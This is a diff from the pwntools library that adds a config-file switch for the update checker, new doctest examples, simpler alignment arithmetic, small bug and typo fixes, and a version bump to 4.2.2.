@@ -63,7 +63,7 @@ def yesno(prompt, default=None):
|
||||
ValueError: yesno(): default must be a boolean or None
|
||||
>>> saved_stdin = sys.stdin
|
||||
>>> try:
|
||||
... sys.stdin = io.StringIO(u"x\nyes\nno\n\n")
|
||||
... sys.stdin = io.TextIOWrapper(io.BytesIO(b"x\nyes\nno\n\n"))
|
||||
... yesno("is it good 1")
|
||||
... yesno("is it good 2", True)
|
||||
... yesno("is it good 3", False)
|
||||
@@ -114,12 +114,12 @@ def yesno(prompt, default=None):
|
||||
'No' if default is False else 'no',
|
||||
)
|
||||
while True:
|
||||
opt = raw_input(prompt).lower()
|
||||
opt = raw_input(prompt).strip().lower()
|
||||
if not opt and default is not None:
|
||||
return default
|
||||
elif opt in ('y','yes'):
|
||||
elif opt in (b'y', b'yes'):
|
||||
return True
|
||||
elif opt in ('n', 'no'):
|
||||
elif opt in (b'n', b'no'):
|
||||
return False
|
||||
print('Please answer yes or no')
|
||||
|
||||
@@ -147,7 +147,7 @@ def options(prompt, opts, default = None):
|
||||
>>> _ = p.recvall()
|
||||
>>> saved_stdin = sys.stdin
|
||||
>>> try:
|
||||
... sys.stdin = io.StringIO(u"\n4\n\n3\n")
|
||||
... sys.stdin = io.TextIOWrapper(io.BytesIO(b"\n4\n\n3\n"))
|
||||
... with context.local(log_level="INFO"):
|
||||
... options("select a color A", ("red", "green", "blue"), 0)
|
||||
... options("select a color B", ("red", "green", "blue"))
|
||||
@@ -265,7 +265,7 @@ def pause(n=None):
|
||||
Tests:
|
||||
>>> saved_stdin = sys.stdin
|
||||
>>> try:
|
||||
... sys.stdin = io.StringIO(u"\n")
|
||||
... sys.stdin = io.TextIOWrapper(io.BytesIO(b"\n"))
|
||||
... with context.local(log_level="INFO"):
|
||||
... pause()
|
||||
... finally:
|
||||
|
||||
+34
-3
@@ -9,7 +9,14 @@ every week. It can be permanently disabled via:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ echo never > ~/.pwntools-cache/update
|
||||
$ echo never > ~/.pwntools-cache-*/update
|
||||
|
||||
Or adding the following lines to ~/.pwn.conf (or system-wide /etc/pwn.conf):
|
||||
|
||||
.. code-block::
|
||||
|
||||
[update]
|
||||
interval=never
|
||||
|
||||
"""
|
||||
from __future__ import absolute_import
|
||||
@@ -24,6 +31,7 @@ from six.moves.xmlrpc_client import ServerProxy
|
||||
|
||||
import packaging.version
|
||||
|
||||
from pwnlib.config import register_config
|
||||
from pwnlib.context import context
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.util.misc import read
|
||||
@@ -37,6 +45,26 @@ current_version = packaging.version.Version(__version__)
|
||||
package_name = 'pwntools'
|
||||
package_repo = 'Gallopsled/pwntools'
|
||||
update_freq = datetime.timedelta(days=7).total_seconds()
|
||||
disabled = False
|
||||
|
||||
def read_update_config(settings):
|
||||
for key, value in settings.items():
|
||||
if key == 'interval':
|
||||
if value == 'never':
|
||||
global disabled
|
||||
disabled = True
|
||||
else:
|
||||
try:
|
||||
value = int(value)
|
||||
except ValueError:
|
||||
log.warn("Wrong value")
|
||||
else:
|
||||
global update_freq
|
||||
update_freq = datetime.timedelta(days=value).total_seconds()
|
||||
else:
|
||||
log.warn("Unknown configuration option %r in section %r" % (key, 'update'))
|
||||
|
||||
register_config('update', read_update_config)
|
||||
|
||||
def available_on_pypi(prerelease=current_version.is_prerelease):
|
||||
"""Return True if an update is available on PyPI.
|
||||
@@ -88,7 +116,7 @@ def should_check():
|
||||
if not filename:
|
||||
return False
|
||||
|
||||
if read(filename).strip() == b'never':
|
||||
if disabled or read(filename).strip() == b'never':
|
||||
return False
|
||||
|
||||
return time.time() > (last_check() + update_freq)
|
||||
@@ -160,6 +188,9 @@ def perform_check(prerelease=current_version.is_prerelease):
|
||||
def check_automatically():
|
||||
if should_check():
|
||||
message = ["Checking for new versions of %s" % package_name]
|
||||
message += ["To disable this functionality, set the contents of %s to 'never'." % cache_file()]
|
||||
message += ["To disable this functionality, set the contents of %s to 'never' (old way)." % cache_file()]
|
||||
message += ["""Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide):
|
||||
[update]
|
||||
interval=never"""]
|
||||
log.info("\n".join(message))
|
||||
perform_check()
|
||||
+25
-4
@@ -136,6 +136,13 @@ def consume(n, iterator):
|
||||
>>> consume(2, i)
|
||||
>>> list(i)
|
||||
[3, 4, 5]
|
||||
>>> def g():
|
||||
... for i in range(2):
|
||||
... yield i
|
||||
... print(i)
|
||||
>>> consume(None, g())
|
||||
0
|
||||
1
|
||||
"""
|
||||
# Use functions that consume iterators at C speed.
|
||||
if n is None:
|
||||
@@ -725,6 +732,12 @@ def chained(func):
|
||||
... yield (x, -x)
|
||||
>>> take(6, g())
|
||||
[0, 0, 1, -1, 2, -2]
|
||||
>>> @chained
|
||||
... def g2():
|
||||
... for x in range(3):
|
||||
... yield (x, -x)
|
||||
>>> list(g2())
|
||||
[0, 0, 1, -1, 2, -2]
|
||||
"""
|
||||
def wrapper(*args, **kwargs):
|
||||
for xs in func(*args, **kwargs):
|
||||
@@ -758,10 +771,8 @@ def bruteforce(func, alphabet, length, method = 'upto', start = None, databag =
|
||||
if the search space was exhausted.
|
||||
|
||||
Example:
|
||||
>>> bruteforce(lambda x: x == 'hello', string.ascii_lowercase, length = 10)
|
||||
'hello'
|
||||
>>> bruteforce(lambda x: x == 'hello', 'hllo', 5) is None
|
||||
True
|
||||
>>> bruteforce(lambda x: x == 'yes', string.ascii_lowercase, length=5)
|
||||
'yes'
|
||||
"""
|
||||
|
||||
if method == 'upto' and length > 1:
|
||||
@@ -841,6 +852,16 @@ def mbruteforce(func, alphabet, length, method = 'upto', start = None, threads =
|
||||
Arguments:
|
||||
func, alphabet, length, method, start: same as for bruteforce()
|
||||
threads: Amount of threads to spawn, default is the amount of cores.
|
||||
|
||||
Example:
|
||||
>>> mbruteforce(lambda x: x == 'hello', string.ascii_lowercase, length = 10)
|
||||
'hello'
|
||||
>>> mbruteforce(lambda x: x == 'hello', 'hlo', 5, 'downfrom') is None
|
||||
True
|
||||
>>> mbruteforce(lambda x: x == 'no', string.ascii_lowercase, length=2, method='fixed')
|
||||
'no'
|
||||
>>> mbruteforce(lambda x: x == '9999', string.digits, length=4, threads=1, start=(2, 2))
|
||||
'9999'
|
||||
"""
|
||||
|
||||
def bruteforcewrap(func, alphabet, length, method, start, databag):
|
||||
|
||||
@@ -24,6 +24,8 @@ def partition(lst, f, save_keys = False):
|
||||
Example:
|
||||
>>> partition([1,2,3,4,5], lambda x: x&1)
|
||||
[[1, 3, 5], [2, 4]]
|
||||
>>> partition([1,2,3,4,5], lambda x: x%3, save_keys=True)
|
||||
OrderedDict([(1, [1, 4]), (2, [2, 5]), (0, [3])])
|
||||
"""
|
||||
d = collections.OrderedDict()
|
||||
|
||||
@@ -61,6 +63,8 @@ def group(n, lst, underfull_action = 'ignore', fill_value = None):
|
||||
['ABC', 'DEF', 'GZZ']
|
||||
>>> group(3, list('ABCDEFG'), 'fill')
|
||||
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
|
||||
>>> group(2, tuple('1234'), 'fill')
|
||||
[('1', '2'), ('3', '4')]
|
||||
"""
|
||||
|
||||
if underfull_action not in ['ignore', 'drop', 'fill']:
|
||||
@@ -165,6 +169,10 @@ def findall(haystack, needle):
|
||||
4
|
||||
>>> next(foo)
|
||||
6
|
||||
>>> list(foo) # no more appearances
|
||||
[]
|
||||
>>> list(findall("aaabaaabc", "aab"))
|
||||
[1, 5]
|
||||
"""
|
||||
def __kmp_table(W):
|
||||
pos = 1
|
||||
|
||||
+3
-4
@@ -26,7 +26,7 @@ def align(alignment, x):
|
||||
>>> [align(5, n) for n in range(15)]
|
||||
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
|
||||
"""
|
||||
return ((x + alignment - 1) // alignment) * alignment
|
||||
return x + -x % alignment
|
||||
|
||||
|
||||
def align_down(alignment, x):
|
||||
@@ -38,8 +38,7 @@ def align_down(alignment, x):
|
||||
>>> [align_down(5, n) for n in range(15)]
|
||||
[0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
|
||||
"""
|
||||
a = alignment
|
||||
return (x // a) * a
|
||||
return x - x % alignment
|
||||
|
||||
|
||||
def binary_ip(host):
|
||||
@@ -137,7 +136,7 @@ def which(name, all = False):
|
||||
returns a full path if found.
|
||||
|
||||
If `all` is :const:`True` the set of all found locations is returned, else
|
||||
the first occurence or :const:`None` is returned.
|
||||
the first occurrence or :const:`None` is returned.
|
||||
|
||||
Arguments:
|
||||
`name` (str): The file to search for.
|
||||
|
||||
+11
-1
@@ -59,8 +59,10 @@ struct_ifaddrs._fields_ = [
|
||||
('ifa_data' , ctypes.c_void_p) ,
|
||||
]
|
||||
|
||||
AddressFamily = getattr(socket, 'AddressFamily', int)
|
||||
|
||||
def sockaddr_fixup(saptr):
|
||||
family = saptr.contents.sa_family
|
||||
family = AddressFamily(saptr.contents.sa_family)
|
||||
addr = {}
|
||||
if family == socket.AF_INET:
|
||||
sa = ctypes.cast(saptr, ctypes.POINTER(struct_sockaddr_in)).contents
|
||||
@@ -162,6 +164,10 @@ def interfaces4(all = False):
|
||||
Returns:
|
||||
A dictionary mapping each of the hosts interfaces to a list of it's
|
||||
IPv4 addresses.
|
||||
|
||||
Examples:
|
||||
>>> interfaces4(all=True) # doctest: +ELLIPSIS
|
||||
{...'127.0.0.1'...}
|
||||
"""
|
||||
out = {}
|
||||
for name, addrs in interfaces(all = all).items():
|
||||
@@ -183,6 +189,10 @@ def interfaces6(all = False):
|
||||
Returns:
|
||||
A dictionary mapping each of the hosts interfaces to a list of it's
|
||||
IPv6 addresses.
|
||||
|
||||
Examples:
|
||||
>>> interfaces6() # doctest: +ELLIPSIS
|
||||
{...'::1'...}
|
||||
"""
|
||||
out = {}
|
||||
for name, addrs in interfaces(all = all).items():
|
||||
|
||||
+2
-2
@@ -93,9 +93,9 @@ def pid_by_name(name):
|
||||
|
||||
processes = (p for p in psutil.process_iter() if match(p))
|
||||
|
||||
processes = sorted(processes, key=lambda p: p.create_time())
|
||||
processes = sorted(processes, key=lambda p: p.create_time(), reverse=True)
|
||||
|
||||
return reversed([p.pid for p in processes])
|
||||
return [p.pid for p in processes]
|
||||
|
||||
def name(pid):
|
||||
"""name(pid) -> str
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env python2
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
r"""
|
||||
Routines here are for getting any NULL-terminated sequence of bytes evaluated
|
||||
intact by any shell. This includes all variants of quotes, whitespace, and
|
||||
non-printable characters.
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
__version__ = '4.1.5'
|
||||
__version__ = '4.2.2'
|
||||
Reference in new issue
Block a user